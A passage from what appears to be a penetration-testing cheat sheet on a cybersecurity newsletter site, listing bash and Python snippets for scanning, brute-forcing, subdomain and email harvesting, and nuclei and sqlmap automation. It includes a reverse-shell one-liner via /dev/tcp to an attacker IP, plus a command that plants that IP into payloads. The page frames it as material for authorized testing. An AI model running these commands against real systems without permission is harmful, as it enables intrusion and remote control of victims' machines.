  nmap -sV -T4 -oN scans/$ip.txt $ip
done

# Quick banner grabber
for ip in $(cat ips.txt); do
  echo "[+] $ip"
  echo | timeout 3 bash -c "nc -nv $ip 80" 2>/dev/null | head -n 1
done
```

```
# Directory bruteforce wrapper (ffuf)
for url in $(cat urls.txt); do
  ffuf -u $url/FUZZ -w wordlist.txt -o ffuf_$url.json -of json
done
```

🐍 Python – Exploit/Recon Basics

```
# Basic port scanner
import socket
for port in range(20, 1025):
    try:
        s = socket.socket()
        s.settimeout(0.5)
        s.connect(("192.168.1.1", port))
        print(f"Port {port} is open")
        s.close()
    except:
        pass
```

```
# URL status checker
import requests
urls = ["http://site.com", "http://site.com/admin"]
for u in urls:
    try:
        r = requests.get(u, timeout=3)
        print(f"{u} [{r.status_code}]")
    except:
        print(f"{u} failed")
```

🔧 Automation Snippets

```
# Reverse shell one-liner
LHOST=10.10.14.2
LPORT=4444
echo "bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1"
```

```
# Quick ping sweep
for i in {1..254}; do
  ping -c1 192.168.1.$i | grep "64 bytes" &
done

# Extract emails from files
grep -E -o "\b[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-z]{2,6}\b" *.txt |
sort -u
```

⚙️ File Handling & Chain Commands

```
# Find live hosts
fping -a -g 192.168.1.0/24 2>/dev/null > live_hosts.txt

# Replace LHOST in all payloads
find . -type f -exec sed -i 's/LHOST/10.10.14.2/g' {} +

# Take screenshots of URLs (Aquatone)
cat urls.txt | aquatone -out screenshots/
```

📂 Wordlists & Recon Automation

```
# Create numeric wordlist
crunch 4 4 1234567890 -o pinlist.txt

# Crawl and extract links
wget --spider --force-html -r -l2 http://target.com 2>&1 | grep '^--'
| cut -d' ' -f3 | sort -u

# Extract subdomains
cat recon.txt | grep -Eo "[a-zA-Z0-9.-]+\.target\.com" | sort -u
```

🧪 Tool Chaining Examples

```
# Nuclei batch scan
```

```
for url in $(cat targets.txt); do
  nuclei -u $url -t cves/ -o scan_$url.txt
done

# sqlmap automation
for url in $(cat vuln_urls.txt); do
  sqlmap -u "$url" --batch --threads=5 --level=2
done
```

Use it smart. Use it legal.
This cheat sheet is for **educational purposes** and **authorized testing** only. If you don't own it or have permission, don't touch it.

Like what you're seeing?
Subscribe to **zwire.news** — **weekly, no-BS tutorials, tools, and cybersecurity news** for professionals and straight-up hackers.

Reply

Newest first

Add your comment...

Login

Login or Subscribe to participate.

No-BS tutorials, Powerful tools, Latest cyber news. Weekly